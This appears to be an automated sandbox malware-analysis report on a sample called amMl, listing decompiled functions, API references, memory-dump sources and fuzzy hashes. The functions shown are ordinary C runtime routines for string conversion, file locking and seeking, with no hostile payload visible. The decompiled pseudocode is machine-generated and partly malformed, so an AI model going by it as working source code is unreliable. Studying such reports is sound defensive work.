0x00413ffd
0x00414005

APIs

__getptd.LIBCMT ref: 00413FD8

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__amsg_exit.LIBCMT ref: 00413FF8
__lock.LIBCMT ref: 00414008
InterlockedDecrement.KERNEL32(?), ref: 00414025
InterlockedIncrement.KERNEL32(02241638), ref: 00414050

Memory Dump Source

Source File: 00000002.00000002.366895867.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.366895867.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.366895867.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_amMl.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction ID: 77fb08d543caf33888dccec20a3998fa005b1348dfeb798e4aa279577202aa48
Opcode Fuzzy Hash: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction Fuzzy Hash: 9301A531A01621ABD724AF67990579E7B60AF48764F50442BE814B72D0C77C6DC2CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 005C1161 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON

Download Yara Rule

Strings

l, xrefs: 005C1188
2, xrefs: 005C11E2
, xrefs: 005C11AF

Memory Dump Source

Source File: 00000002.00000002.366986826.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b0000_amMl.jbxd

Yara matches

Similarity

API ID:
String ID: $2$l
API String ID: 0-3132104027
Opcode ID: 93ec677eb6f37e13f038257329e2d2bc6cd763e678568b4eabc98800338fe0cb
Instruction ID: 7716afe95ae3bcdc016b848fe434a22ff3bc75f0c09f063f0a0137157d8b71f4
Opcode Fuzzy Hash: 93ec677eb6f37e13f038257329e2d2bc6cd763e678568b4eabc98800338fe0cb
Instruction Fuzzy Hash: B241F338804A698EDF349AA5889CBF87FB1BB03355F1401CEC09966193C7794EC6CF48

Uniqueness

Uniqueness Score: -1.00%

Function 005BFCBF Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 005BFCE1
__calloc_crt.LIBCMT ref: 005BFCFA

Strings

`$B, xrefs: 005BFD33
P$B, xrefs: 005BFD11

Memory Dump Source

Source File: 00000002.00000002.366986826.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b0000_amMl.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: P$B$`$B
API String ID: 3494438863-235554963
Opcode ID: fdf4f6b62053dea64867d0c1085960dee66dbdb5e7cbac4bce55836661d1e8cf
Instruction ID: fcd3326c3878762db55c03a528e5a54cec4855616686b5ebc1193c33e3255c43
Opcode Fuzzy Hash: fdf4f6b62053dea64867d0c1085960dee66dbdb5e7cbac4bce55836661d1e8cf
Instruction Fuzzy Hash: 491106313086165FE7248F2CBC55BA52B91FBC5324BB4463AE611CB2A4E770EC824758

Uniqueness

Uniqueness Score: -1.00%

Function 00413610 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E00413610() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x41fb50;
					_v28 =  *0x41fb48;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}

0x00413615
0x0041361d
0x00413634
0x004135e0
0x004135e9
0x004135f5
0x004135f8
0x004135fb
0x004135fd
0x00413600
0x00413605
0x0041360f
0x00413607
0x0041360b
0x0041360b
0x0041361f
0x00413625
0x0041362d
0x00000000
0x0041362f
0x0041362f
0x00413633
0x00413633
0x0041362d

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0040CDF5), ref: 00413615
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00413625

Strings

IsProcessorFeaturePresent, xrefs: 0041361F
KERNEL32, xrefs: 00413610

Memory Dump Source

Source File: 00000002.00000002.366895867.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.366895867.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.366895867.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_amMl.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction ID: 3bb3582238f4ecb0ba7b9e8fe578e45fdcf0af3c55e5dfe2a5e3893bc0ad87fb
Opcode Fuzzy Hash: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction Fuzzy Hash: 96F06230600A09E2DB105FA1ED1E2EFBB74BB80746F5101A19196B0194DF38D0B6825A

Uniqueness

Uniqueness Score: -1.00%

Function 005B1B57 Relevance: 6.3, APIs: 5, Instructions: 77stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?), ref: 005B1B6D
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 005B1B96
GetLastError.KERNEL32 ref: 005B1BA7
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 005B1BBF
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 005B1BE7

Memory Dump Source

Source File: 00000002.00000002.366986826.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b0000_amMl.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLastlstrlen
String ID:
API String ID: 3322701435-0
Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction ID: 859f9b5943f54f41986ed50512bc1cb0ca4cd3a24e890e68ec14ec48eaabf096
Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction Fuzzy Hash: 7F11C4315007547BD3309715CC98FA77F6CFBC6BA9F408114FD459A281D621BC04C6B8

Uniqueness

Uniqueness Score: -1.00%

Function 004018F0 Relevance: 6.3, APIs: 5, Instructions: 77
stringCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E004018F0(void* __eax, char** __ecx, void* __edx, char* _a4, int _a8) {
				void* __ebx;
				void* __ebp;
				signed int _t12;
				void* _t21;
				int _t25;
				void* _t30;
				int _t32;
				char* _t35;

				_t21 = __edx;
				_t35 = _a4;
				_t17 = __ecx;
				if(_t35 != 0) {
					_t25 = lstrlenA(_t35) + 1;
					E004017E0(_t17, _t21, _t35, _t17, _t25,  &(_t17[1]), 0x80);
					_t12 = MultiByteToWideChar(_a8, 0, _t35, _t25,  *_t17, _t25);
					asm("sbb esi, esi");
					_t30 =  ~_t12 + 1;
					if(_t30 != 0) {
						_t12 = GetLastError();
						if(_t12 == 0x7a) {
							_t32 = MultiByteToWideChar(_a8, 0, _t35, _t25, 0, 0);
							E004017E0(_t17, _a8, _t35, _t17, _t32,  &(_t17[1]), 0x80);
							_t12 = MultiByteToWideChar(_a8, 0, _t35, _t25,  *_t17, _t32);
							asm("sbb esi, esi");
							_t30 =  ~_t12 + 1;
						}
						if(_t30 != 0) {
							_t12 = E00401030();
						}
					}
					return _t12;
				} else {
					 *__ecx = _t35;
					return __eax;
				}
			}

0x004018f0
0x004018f2
0x004018f6
0x004018fa
0x00401917
0x0040191a
0x0040192f
0x00401939
0x0040193b
0x0040193e
0x00401940
0x00401949
0x0040195e
0x0040196b
0x00401980
0x0040198a
0x0040198c
0x0040198c
0x0040198f
0x00401991
0x00401991
0x0040198f
0x0040199a
0x004018fc
0x004018fc
0x00401900
0x00401900

APIs

lstrlenA.KERNEL32(?), ref: 00401906
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 0040192F
GetLastError.KERNEL32 ref: 00401940
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401958
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401980

Memory Dump Source

Source File: 00000002.00000002.366895867.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.366895867.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.366895867.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_amMl.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLastlstrlen
String ID:
API String ID: 3322701435-0
Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction ID: 001f8acd6346668203df0e37acbb0982e2c141f20d3592a2a78c171e7710dcce
Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction Fuzzy Hash: 4011C4756003247BD3309B15CC88F677F6CEB86BA9F008169FD85AB291C635AC04C6F8

Uniqueness

Uniqueness Score: -1.00%

Function 005BC9AF Relevance: 6.1, APIs: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

__fileno.LIBCMT ref: 005BC9E3
__locking.LIBCMT ref: 005BC9F8

Part of subcall function 005BC228: __getptd_noexit.LIBCMT ref: 005BC228

Memory Dump Source

Source File: 00000002.00000002.366986826.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b0000_amMl.jbxd

Yara matches

Similarity

API ID: __fileno__getptd_noexit__locking
String ID:
API String ID: 630670418-0
Opcode ID: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction ID: 427126178eeeca7fb8d918f996eccd81bc4eed112a630e07ee1ff0dc58c4075d
Opcode Fuzzy Hash: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction Fuzzy Hash: 19518F71E00209ABDB10CF68C986BEDBFB1FF45354F6481A9D915AB281D730BE40DB88

Uniqueness

Uniqueness Score: -1.00%

Function 0040C748 Relevance: 6.1, APIs: 4, Instructions: 148
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 86%

			E0040C748(void* __edx, void* __esi, char _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __ebp;
				signed int _t70;
				signed int _t71;
				intOrPtr _t73;
				signed int _t75;
				signed int _t81;
				char _t82;
				signed int _t84;
				intOrPtr* _t86;
				signed int _t87;
				intOrPtr* _t90;
				signed int _t92;
				signed int _t94;
				void* _t96;
				signed char _t98;
				signed int _t99;
				intOrPtr _t102;
				signed int _t103;
				intOrPtr* _t104;
				signed int _t111;
				signed int _t114;
				intOrPtr _t115;

				_t105 = __esi;
				_t97 = __edx;
				_t104 = _a4;
				_t87 = 0;
				_t121 = _t104;
				if(_t104 != 0) {
					_t70 = E0040FA20(__edx, _t104, _t104);
					__eflags =  *(_t104 + 4);
					_v8 = _t70;
					if(__eflags < 0) {
						 *(_t104 + 4) = 0;
					}
					_push(1);
					_push(_t87);
					_push(_t70);
					_t71 = E00411939(_t87, _t97, _t104, _t105, __eflags);
					__eflags = _t71 - _t87;
					_v12 = _t71;
					if(_t71 < _t87) {
						L2:
						return _t71 | 0xffffffff;
					} else {
						_t98 =  *(_t104 + 0xc);
						__eflags = _t98 & 0x00000108;
						if((_t98 & 0x00000108) != 0) {
							_t73 =  *_t104;
							_t92 =  *(_t104 + 8);
							_push(_t105);
							_v16 = _t73 - _t92;
							__eflags = _t98 & 0x00000003;
							if((_t98 & 0x00000003) == 0) {
								__eflags = _t98;
								if(__eflags < 0) {
									L15:
									__eflags = _v12 - _t87;
									if(_v12 != _t87) {
										__eflags =  *(_t104 + 0xc) & 0x00000001;
										if(( *(_t104 + 0xc) & 0x00000001) == 0) {
											L40:
											_t75 = _v16 + _v12;
											__eflags = _t75;
											L41:
											return _t75;
										}
										_t99 =  *(_t104 + 4);
										__eflags = _t99 - _t87;
										if(_t99 != _t87) {
											_t90 = 0x423f60 + (_v8 >> 5) * 4;
											_a4 = _t73 - _t92 + _t99;
											_t111 = (_v8 & 0x0000001f) << 6;
											__eflags =  *( *_t90 + _t111 + 4) & 0x00000080;
											if(__eflags == 0) {
												L39:
												_t66 =  &_v12;
												 *_t66 = _v12 - _a4;
												__eflags =  *_t66;
												goto L40;
											}
											_push(2);
											_push(0);
											_push(_v8);
											__eflags = E00411939(_t90, _t99, _t104, _t111, __eflags) - _v12;
											if(__eflags != 0) {
												_push(0);
												_push(_v12);
												_push(_v8);
												_t81 = E00411939(_t90, _t99, _t104, _t111, __eflags);
												__eflags = _t81;
												if(_t81 >= 0) {
													_t82 = 0x200;
													__eflags = _a4 - 0x200;
													if(_a4 > 0x200) {
														L35:
														_t82 =  *((intOrPtr*)(_t104 + 0x18));
														L36:
														_a4 = _t82;
														__eflags =  *( *_t90 + _t111 + 4) & 0x00000004;
														L37:
														if(__eflags != 0) {
															_t63 =  &_a4;
															 *_t63 = _a4 + 1;
															__eflags =  *_t63;
														}
														goto L39;
													}
													_t94 =  *(_t104 + 0xc);
													__eflags = _t94 & 0x00000008;
													if((_t94 & 0x00000008) == 0) {
														goto L35;
													}
													__eflags = _t94 & 0x00000400;
													if((_t94 & 0x00000400) == 0) {
														goto L36;
													}
													goto L35;
												}
												L31:
												_t75 = _t81 | 0xffffffff;
												goto L41;
											}
											_t84 =  *(_t104 + 8);
											_t96 = _a4 + _t84;
											while(1) {
												__eflags = _t84 - _t96;
												if(_t84 >= _t96) {
													break;
												}
												__eflags =  *_t84 - 0xa;
												if( *_t84 == 0xa) {
													_t44 =  &_a4;
													 *_t44 = _a4 + 1;
													__eflags =  *_t44;
												}
												_t84 = _t84 + 1;
												__eflags = _t84;
											}
											__eflags =  *(_t104 + 0xc) & 0x00002000;
											goto L37;
										}
										_v16 = _t87;
										goto L40;
									}
									_t75 = _v16;
									goto L41;
								}
								_t81 = E0040BFC1(__eflags);
								 *_t81 = 0x16;
								goto L31;
							}
							_t102 =  *((intOrPtr*)(0x423f60 + (_v8 >> 5) * 4));
							_t114 = (_v8 & 0x0000001f) << 6;
							__eflags =  *(_t102 + _t114 + 4) & 0x00000080;
							if(( *(_t102 + _t114 + 4) & 0x00000080) == 0) {
								goto L15;
							}
							_t103 = _t92;
							__eflags = _t103 - _t73;
							if(_t103 >= _t73) {
								goto L15;
							}
							_t115 = _t73;
							do {
								__eflags =  *_t103 - 0xa;
								if( *_t103 == 0xa) {
									_v16 = _v16 + 1;
									_t87 = 0;
									__eflags = 0;
								}
								_t103 = _t103 + 1;
								__eflags = _t103 - _t115;
							} while (_t103 < _t115);
							goto L15;
						}
						return _t71 -  *(_t104 + 4);
					}
				}
				_t86 = E0040BFC1(_t121);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				 *_t86 = 0x16;
				_t71 = E0040E744(__edx, _t104, __esi);
				goto L2;
			}

0x0040c748
0x0040c748
0x0040c752
0x0040c755
0x0040c757
0x0040c759
0x0040c77c
0x0040c781
0x0040c785
0x0040c788
0x0040c78a
0x0040c78a
0x0040c78d
0x0040c78f
0x0040c790
0x0040c791
0x0040c799
0x0040c79b
0x0040c79e
0x0040c773
0x00000000
0x0040c7a0
0x0040c7a0
0x0040c7a3
0x0040c7a9
0x0040c7b3
0x0040c7b5
0x0040c7b8
0x0040c7bd
0x0040c7c0
0x0040c7c3
0x0040c806
0x0040c808
0x0040c7f9
0x0040c7f9
0x0040c7fc
0x0040c81a
0x0040c81e
0x0040c8d8
0x0040c8de
0x0040c8de
0x0040c8e0
0x00000000
0x0040c8e0
0x0040c824
0x0040c827
0x0040c829
0x0040c843
0x0040c84a
0x0040c84f
0x0040c852
0x0040c857
0x0040c8d2
0x0040c8d5
0x0040c8d5
0x0040c8d5
0x00000000
0x0040c8d5
0x0040c859
0x0040c85b
0x0040c85d
0x0040c868
0x0040c86b
0x0040c88d
0x0040c88f
0x0040c892
0x0040c895
0x0040c89d
0x0040c89f
0x0040c8a6
0x0040c8ab
0x0040c8ae
0x0040c8c0
0x0040c8c0
0x0040c8c3
0x0040c8c3
0x0040c8c8
0x0040c8cd
0x0040c8cd
0x0040c8cf
0x0040c8cf
0x0040c8cf
0x0040c8cf
0x00000000
0x0040c8cd
0x0040c8b0
0x0040c8b3
0x0040c8b6
0x00000000
0x00000000
0x0040c8b8
0x0040c8be
0x00000000
0x00000000
0x00000000
0x0040c8be
0x0040c8a1
0x0040c8a1
0x00000000
0x0040c8a1
0x0040c86d
0x0040c873
0x0040c880
0x0040c880
0x0040c882
0x00000000
0x00000000
0x0040c877
0x0040c87a
0x0040c87c
0x0040c87c
0x0040c87c
0x0040c87c
0x0040c87f
0x0040c87f
0x0040c87f
0x0040c884
0x00000000
0x0040c884
0x0040c82b
0x00000000
0x0040c82b
0x0040c7fe
0x00000000
0x0040c7fe
0x0040c80a
0x0040c80f
0x00000000
0x0040c80f
0x0040c7ce
0x0040c7d8
0x0040c7db
0x0040c7e0
0x00000000
0x00000000
0x0040c7e2
0x0040c7e4
0x0040c7e6
0x00000000
0x00000000
0x0040c7e8
0x0040c7ea
0x0040c7ea
0x0040c7ed
0x0040c7ef
0x0040c7f2
0x0040c7f2
0x0040c7f2
0x0040c7f4
0x0040c7f5
0x0040c7f5
0x00000000
0x0040c7ea
0x00000000
0x0040c7ab
0x0040c79e
0x0040c75b
0x0040c760
0x0040c761
0x0040c762
0x0040c763
0x0040c764
0x0040c765
0x0040c76b
0x00000000

APIs

__fileno.LIBCMT ref: 0040C77C
__locking.LIBCMT ref: 0040C791

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000002.00000002.366895867.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.366895867.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.366895867.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_amMl.jbxd

Yara matches

Similarity

API ID: __decode_pointer__fileno__getptd_noexit__locking
String ID:
API String ID: 2395185920-0
Opcode ID: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction ID: 30055f4621fb528cea72007990449f1feb1a7f288d573051c200dc5e1a244c20
Opcode Fuzzy Hash: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction Fuzzy Hash: CC51CF72E00209EBDB10AF69C9C0B59BBA1AF01355F14C27AD915B73D1D378AE41DB8D

Uniqueness

Uniqueness Score: -1.00%

Function 005BBD11 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 005BBDD5
__fileno.LIBCMT ref: 005BBDF5
__locking.LIBCMT ref: 005BBDFC
__flsbuf.LIBCMT ref: 005BBE27

Part of subcall function 005BC228: __getptd_noexit.LIBCMT ref: 005BC228

Memory Dump Source

Source File: 00000002.00000002.366986826.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b0000_amMl.jbxd

Yara matches

Similarity

API ID: __fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 1291973410-0
Opcode ID: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction ID: afd7f4f556a4b1427020b727b7a49a5a7884608ae4ee4503a86ee27d0761e640
Opcode Fuzzy Hash: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction Fuzzy Hash: 68418231A00609AFEB249F6988856EEBFB5FF80720F248529E5559B150E7F4FE41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 005B5F67 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 005B5FBB
_memset.LIBCMT ref: 005B5FD6
_fseek.LIBCMT ref: 005B6044

Memory Dump Source

Source File: 00000002.00000002.366986826.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b0000_amMl.jbxd

Yara matches

Similarity

API ID: _fseek_malloc_memset
String ID:
API String ID: 208892515-0
Opcode ID: 9872aa7f1147e6bc872b805e495ff45a5b2212b2fe58f3118e87b4f331b1c2a2
Instruction ID: 6ec82804641fa7fbcea70460e36997f73a791347a8a3505df7978e5fccc20a98
Opcode Fuzzy Hash: 9872aa7f1147e6bc872b805e495ff45a5b2212b2fe58f3118e87b4f331b1c2a2
Instruction Fuzzy Hash: 9441D672600B154AD730AA2EE90D7A7BAE5BFC0354F140A2DE596C27D0E775F845C741

Uniqueness

Uniqueness Score: -1.00%

Function 00405D00 Relevance: 6.1, APIs: 4, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E00405D00(void* __ebx, void* __edx, void* __ebp, signed int* _a4, signed int _a8, intOrPtr _a12) {
				void* __edi;
				void* __esi;
				signed int _t30;
				signed int _t31;
				signed int _t32;
				signed int _t33;
				signed int _t35;
				signed int _t39;
				void* _t42;
				intOrPtr _t43;
				void* _t45;
				signed int _t48;
				signed int* _t53;
				void* _t54;
				void* _t55;
				void* _t57;

				_t54 = __ebp;
				_t45 = __edx;
				_t42 = __ebx;
				_t53 = _a4;
				if(_t53 == 0) {
					L40:
					_t31 = _t30 | 0xffffffff;
					__eflags = _t31;
					return _t31;
				} else {
					_t43 = _a12;
					if(_t43 == 2) {
						goto L40;
					} else {
						_t30 = _t53[0xe];
						if(_t30 == 0xffffffff || _t30 == 0xfffffffd) {
							goto L40;
						} else {
							_t48 = _a8;
							if(_t53[0x17] != 0x77) {
								__eflags = _t43 - 1;
								if(_t43 == 1) {
									_t48 = _t48 + _t53[0x1a];
									__eflags = _t48;
								}
								__eflags = _t48;
								if(_t48 < 0) {
									goto L39;
								} else {
									__eflags = _t53[0x16];
									if(__eflags == 0) {
										_t33 = _t53[0x1a];
										__eflags = _t48 - _t33;
										if(_t48 < _t33) {
											_t30 = E004054F0(_t42, _t54, _t53);
											_t55 = _t55 + 4;
											__eflags = _t30;
											if(_t30 < 0) {
												goto L39;
											} else {
												goto L27;
											}
										} else {
											_t48 = _t48 - _t33;
											L27:
											__eflags = _t48;
											if(_t48 == 0) {
												L38:
												return _t53[0x1a];
											} else {
												__eflags = _t53[0x12];
												if(_t53[0x12] != 0) {
													L30:
													__eflags = _t53[0x1b] - 0xffffffff;
													if(_t53[0x1b] != 0xffffffff) {
														_t53[0x1a] = _t53[0x1a] + 1;
														_t48 = _t48 - 1;
														__eflags = _t53[0x1c];
														_t53[0x1b] = 0xffffffff;
														if(_t53[0x1c] != 0) {
															_t53[0xe] = 1;
														}
													}
													__eflags = _t48;
													if(_t48 <= 0) {
														goto L38;
													} else {
														while(1) {
															_t35 = 0x4000;
															__eflags = _t48 - 0x4000;
															if(_t48 < 0x4000) {
																_t35 = _t48;
															}
															_t30 = E00405A20(_t45, _t53, _t53[0x12], _t35);
															_t55 = _t55 + 0xc;
															__eflags = _t30;
															if(_t30 <= 0) {
																goto L39;
															}
															_t48 = _t48 - _t30;
															__eflags = _t48;
															if(_t48 > 0) {
																continue;
															} else {
																goto L38;
															}
															goto L41;
														}
														goto L39;
													}
												} else {
													_t30 = E0040B84D(_t42, _t45, _t48, 0x4000);
													_t55 = _t55 + 4;
													_t53[0x12] = _t30;
													__eflags = _t30;
													if(_t30 == 0) {
														goto L39;
													} else {
														goto L30;
													}
												}
											}
										}
									} else {
										_push(0);
										_push(_t48);
										_push(_t53[0x10]);
										_t53[0x1b] = 0xffffffff;
										_t53[1] = 0;
										 *_t53 = _t53[0x11];
										_t30 = E0040C46B(_t42, _t53[0x10], _t48, _t53, __eflags);
										__eflags = _t30;
										if(_t30 < 0) {
											goto L39;
										} else {
											_t53[0x1a] = _t48;
											_t53[0x19] = _t48;
											return _t48;
										}
									}
								}
							} else {
								if(_t43 == 0) {
									_t48 = _t48 - _t53[0x19];
								}
								if(_t48 < 0) {
									L39:
									_t32 = _t30 | 0xffffffff;
									__eflags = _t32;
									return _t32;
								} else {
									if(_t53[0x11] != 0) {
										L11:
										if(_t48 <= 0) {
											L17:
											return _t53[0x19];
										} else {
											while(1) {
												_t39 = 0x4000;
												if(_t48 < 0x4000) {
													_t39 = _t48;
												}
												_t30 = E00405260(_t42, _t45, _t53, _t53[0x11], _t39);
												_t55 = _t55 + 0xc;
												if(_t30 == 0) {
													goto L39;
												}
												_t48 = _t48 - _t30;
												if(_t48 > 0) {
													continue;
												} else {
													goto L17;
												}
												goto L41;
											}
											goto L39;
										}
									} else {
										_t30 = E0040B84D(_t42, _t45, _t48, 0x4000);
										_t57 = _t55 + 4;
										_t53[0x11] = _t30;
										if(_t30 == 0) {
											goto L39;
										} else {
											E0040BA30(_t48, _t30, 0, 0x4000);
											_t55 = _t57 + 0xc;
											goto L11;
										}
									}
								}
							}
						}
					}
				}
				L41:
			}

0x00405d00
0x00405d00
0x00405d00
0x00405d01
0x00405d07
0x00405e7f
0x00405e7f
0x00405e7f
0x00405e83
0x00405d0d
0x00405d0d
0x00405d14
0x00000000
0x00405d1a
0x00405d1a
0x00405d20
0x00000000
0x00405d2f
0x00405d34
0x00405d38
0x00405dad
0x00405db0
0x00405db2
0x00405db2
0x00405db2
0x00405db5
0x00405db7
0x00000000
0x00405dbd
0x00405dbd
0x00405dc1
0x00405df8
0x00405dfb
0x00405dfd
0x00405e04
0x00405e09
0x00405e0c
0x00405e0e
0x00000000
0x00000000
0x00000000
0x00000000
0x00405dff
0x00405dff
0x00405e10
0x00405e10
0x00405e12
0x00405e73
0x00405e78
0x00405e14
0x00405e14
0x00405e18
0x00405e2e
0x00405e2e
0x00405e32
0x00405e34
0x00405e37
0x00405e38
0x00405e3c
0x00405e43
0x00405e45
0x00405e45
0x00405e43
0x00405e4c
0x00405e4e
0x00000000
0x00405e50
0x00405e50
0x00405e50
0x00405e55
0x00405e57
0x00405e59
0x00405e59
0x00405e61
0x00405e66
0x00405e69
0x00405e6b
0x00000000
0x00000000
0x00405e6d
0x00405e6f
0x00405e71
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405e71
0x00000000
0x00405e50
0x00405e1a
0x00405e1f
0x00405e24
0x00405e27
0x00405e2a
0x00405e2c
0x00000000
0x00000000
0x00000000
0x00000000
0x00405e2c
0x00405e18
0x00405e12
0x00405dc3
0x00405dc9
0x00405dcb
0x00405dcc
0x00405dcd
0x00405dd4
0x00405ddb
0x00405ddd
0x00405de5
0x00405de7
0x00000000
0x00405ded
0x00405ded
0x00405df0
0x00405df7
0x00405df7
0x00405de7
0x00405dc1
0x00405d3a
0x00405d3c
0x00405d3e
0x00405d3e
0x00405d43
0x00405e79
0x00405e7a
0x00405e7a
0x00405e7e
0x00405d49
0x00405d4d
0x00405d77
0x00405d79
0x00405da7
0x00405dac
0x00405d7b
0x00405d80
0x00405d80
0x00405d87
0x00405d89
0x00405d89
0x00405d91
0x00405d96
0x00405d9b
0x00000000
0x00000000
0x00405da1
0x00405da5
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405da5
0x00000000
0x00405d80
0x00405d4f
0x00405d54
0x00405d59
0x00405d5c
0x00405d61
0x00000000
0x00405d67
0x00405d6f
0x00405d74
0x00000000
0x00405d74
0x00405d61
0x00405d4d
0x00405d43
0x00405d38
0x00405d20
0x00405d14
0x00000000

APIs

_malloc.LIBCMT ref: 00405D54
_memset.LIBCMT ref: 00405D6F
_fseek.LIBCMT ref: 00405DDD

Memory Dump Source

Source File: 00000002.00000002.366895867.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.366895867.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.366895867.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_amMl.jbxd

Yara matches

Similarity

API ID: _fseek_malloc_memset
String ID:
API String ID: 208892515-0
